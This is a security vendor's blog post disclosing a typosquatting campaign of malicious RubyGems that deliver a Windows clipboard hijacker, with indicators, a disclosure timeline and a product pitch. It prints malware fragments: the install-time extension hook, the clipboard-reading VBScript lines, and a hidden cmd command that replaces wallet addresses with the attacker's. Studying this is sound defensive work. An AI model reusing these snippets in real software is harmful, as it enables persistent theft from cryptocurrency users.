These days, organizations are acknowledging the importance of the security aspect of their systems. They are putting in effort to adopt security best practices with the goal of eliminating blindspots in the attack chain that would increase the risk of a security incident happening. This makes it harder for threat actors to achieve their malicious intentions, as attacking such organizations directly is less likely to yield results.
To bypass such measures, threat actors are always on the lookout for new attack vectors. One such vector, referred to as the software supply chain attack, is becoming increasingly popular. These attacks threaten organizations indirectly by targeting the third-party vendors that provide them with software or services. Since such vendors are typically considered trusted publishers, organizations tend to spend less time verifying that the packages they are consuming are indeed malware-free. There's an implicit trust between the software vendor and their clients in this case, and that’s exactly what software supply chain attacks aim to subvert.
Open source repositories also fall into this category. They are particularly interesting as they are used by millions of developers around the world, some of whom work in organizations that use open-source technologies to accelerate development of their own commercial software. Packaged into libraries, these open-source components represent the basic application building blocks. Depending on the complexity of the software an organization is building, many such third-party libraries end up being used in the final product.
Modern software development is centered around the idea that third-party components should be reusable and easily accessible. Those components are thus organized and hosted in software delivery mechanisms called package repositories. Being closely integrated with the programming languages, the repositories make it easy to consume and manage third-party components. Consequently, including another project dependency has become as easy as clicking a button or running a simple command in the developer environment.
But just clicking a button or running a simple command can sometimes be a dangerous thing, as threat actors also share an interest in this convenience. It's little surprise to hear that package repositories are being increasingly targeted. There are a couple of ways to carry out the attacks: by compromising developer accounts or their build environments, and by typosquatting package names.
Typosquatting is particularly interesting. Using this type of attack, the threat actors intentionally name malicious packages to resemble the popular ones as closely as possible (e.g. rspec-mokcs instead of rspec-mocks), in hopes that an unsuspecting user will mistype the name and unintentionally install the malicious package instead.
We at ReversingLabs were curious if these naming discrepancies could be detected in package repositories, so we started to analyze them. This idea has already proven its merit - we have successfully discovered malicious packages within PyPI, and NPM repositories, as reported in our previous blogs.
This time, we've expanded our research efforts to include the RubyGems repository in our continuous analysis. Very quickly this research showed results, as we’ve detected just over 760 malicious Ruby packages using our repository monitoring logic.
RubyGems is a package manager for the Ruby programming language. According to their own site statistics, the repository contains around 158 thousand packages (called gems) with nearly 49 billion total downloads. Generally speaking, a gem file is a Tape ARchive (TAR) with the basic structure as follows:
The bin directory contains gem binaries (if they exist), the lib directory contains the code for the gem, and the test directory contains tests. Rakefile is used by rake, a Make-like program implemented in Ruby, to automate tests and generate code. The Gemspec file contains basic metadata about the gem (such as the author, version, description), but it can also include additional information about extensions that will come in handy a bit later.
In our PyPI and NPM analysis we focused on a large-scale repository analysis. With RubyGems, we employed a slightly different approach. We monitored our gem ingestion queue for typosquatted names, and sent those gems for processing to our Titanium Platform. To be more precise, we crafted a list of the most popular gems to use as a baseline. On a weekly basis, we collected gems that were newly pushed to the RubyGems repository. If we detected a new gem with a similar name to any of the baseline list gems, we flagged it as interesting for analysis.
Processing gems with the Titanium Platform is a vital step, as it extracts files from TAR archives (among other formats) and produces valuable metadata that is the key factor for further analysis. Our first week of monitoring flagged over 400 gems as interesting. Those gems were processed on a single server with one AMD EPYC 32 core processor and 256 GB of RAM. Processing took just under a minute (51 seconds to be precise), and the Titanium Platform managed to unpack 20,830 files, out of which 12,720 were unique. Looking at the breakdown of interesting file types and subtypes found during our analysis, we found a mix of everything. However, one thing stands out - the number of portable executable (PE) files.
Figure 1: File types extracted from gem objects
While PE files can have a legitimate purpose in packages, they typically warrant a closer look. Every processed gem contained the executable with the same filename “aaa.png”. The PNG extension is what raises the alarm here; one can assume it was used to masquerade the executable file as an image file. A detailed look revealed that every “aaa.png” file was an executable located on the same path in every gem: “/ext/trellislike/unflaming/waffling/”.
Figure 2: RubyGems package contents visualized in ReversingLabs A1000
By looking at the RubyGems repository, we discovered that all those gems originated from two user accounts - “JimCarrey” and “PeterGibbons” - with a fairly high number of total downloads. It seemed that we caught them red-handed, as the account of “PeterGibbons” was actively adding new typosquatted gems at the time of our analysis. Overall, more than 700 such gems were uploaded to the RubyGems site from February 16th to 25th 2020.
Figure 3: PeterGibbons and JimCarrey statistics from RubyGems site
One typosquatted gem, “atlas-client”, stands out from the rest because of its download count. It seems that the threat actor probably succeeded in their intent to deceive unsuspecting users. As illustrated in the Figures 3 and 4, this malicious gem had 2,100 downloads, close to 30% of the total downloads that the legitimate gem “atlas_client” had at the time of reporting to the RubyGems security team.
Figure 4: Download count of typosquatted gem “atlas-client”, and legit one “atlas_client”
Extensions, as mentioned earlier, can also be found in gemspec files. They are used to wrap separate libraries written in C with a Ruby wrapper. By convention, if extensions are used, everything related to them is placed into the ext directory along with the extconf.rb file. The extconf.rb file configures a Makefile that builds the extension during the gem installation. However, extensions can also be utilized for malicious purposes, allowing malware to execute without any user interaction.
If we take a closer look at the gemspec file of the atlas-client gem, we can see that it uses extensions with the following line of code:
spec.extensions = ["ext/trellislike/unflaming/waffling/extconf.rb"]
The extconf.rb script is located on the same path ("ext/trellislike/unflaming/waffling/”) as the “aaa.png” file, and it is used to check the target platform. If it runs on a Windows system, it will rename the “aaa.png” file to “a.exe” and execute it.
Figure 5: Content of the extconf.rb script
A detailed analysis of the “aaa.png” executable (extracted from the “atlas-client” gem) reveals that it was crafted using the Ocra Ruby2Exe tool . Ocra is used to generate a self-extracting Windows executable file that contains both the Ruby script and the Ruby interpreter, with all the required dependencies. These scripts and dependencies are compressed with the LZMA compression algorithm.
The extracted Ruby script “aaa.rb” from the “aaa.png” executable contains Base64-encoded VBScript (Figure 6) that is decoded and saved to the “oh.vbs” file (Figure 7).
Figure 6: Base64 encoded malicious VBScript
Figure 7: Decoded malicious VBScript
The script itself is rather simple. First, it creates a new VBScript file with the main malicious loop at the “%PROGRAMDATA%\Microsoft Essentials\Software Essentials.vbs” path. As its persistence mechanism, it then creates a new autorun registry key “HCU\Software\Microsoft\Windows\CurrentVersion\Run Microsoft Software Essentials”. With this, the malware ensures that it is run every time the system is started or rebooted.
When the “Software Essentials.vbs” malicious script is executed, it starts an infinite loop where it captures the user’s clipboard data with the following lines of code:
Set objHTML = CreateObject("htmlfile")
text = objHTML.ParentWindow.ClipboardData.GetData("text")
The script then checks if the clipboard data matches the format of a cryptocurrency wallet address. If it does, it replaces the address with an attacker-controlled one “1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc” in a hidden window using the following command:
WScript.Shell run "C:\Windows\System32\cmd.exe /c echo 1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc | clip", 0
With this, the threat actor is trying to redirect all potential cryptocurrency transactions to their wallet address. At the time of writing this blog, seemingly no transactions were made for this wallet .
Figure 8: High-level malware workflow
We believe that the same threat actor is responsible for at least two previous malicious campaigns against the RubyGems repository (, ). The same file path “/ext/trellislike/unflaming/waffling/” was used in all the attacks. Likewise, the malicious intent was related to cryptomining in all cases.
It is unclear why the RubyGems repository is being continuously barraged by this threat actor. Since the attacks are using Windows technologies, this campaign has to hit a very specific set of individuals in order to succeed. The perfect candidate to succumb to this type of “spray-and-pray” supply chain attack is a Ruby developer whose environment of choice is a Windows system that’s also periodically being used to make BitCoin transactions. A rare breed indeed.
What certainly isn't rare these days are software supply chain attacks. Every software distribution platform comes with its own set of risks. Mitigating them is a challenging task that has fallen on the shoulders of security operation centers. As business process enablers, they need to ensure the security of developer environments and of the code the organization is shipping. In times of such need, ReversingLabs is the technology provider that meets the challenges of modern software development at its edge.
Titanium Platform is a unique piece of static analysis technology. With its breath of format coverage it has the ability to inspect any kind of content hosted in open source package repositories. Its analytical capabilities look for more than just malware that could be lurking within. Each format it inspects comes with its own set of quirks, some of which even have security implications. That’s why our platform provides a unified view into software packages, their composition, configuration, respective digital signatures and security mitigations. Please reach out to us and schedule a demo to learn more about the next generation of technologies designed specifically to prevent software supply chain attacks.
The RubyGems security team has been contacted, and all packages from reported users have been removed from the repository.
Read about additional repository attacks in our blogs:
Fragment of affected packages and SHA256 :
All affected packages: https://blog.reversinglabs.com/hubfs/Blog/ruby_malicious_gems.txt
aaa.png (executable file): 9d1fcea3079826ca48641ddbd360698c877ec2d09d973c5602676dae26be7c3f
02/25/2020 - Contacted RubyGems security team
02/27/2020 - RubyGems security team removes the packages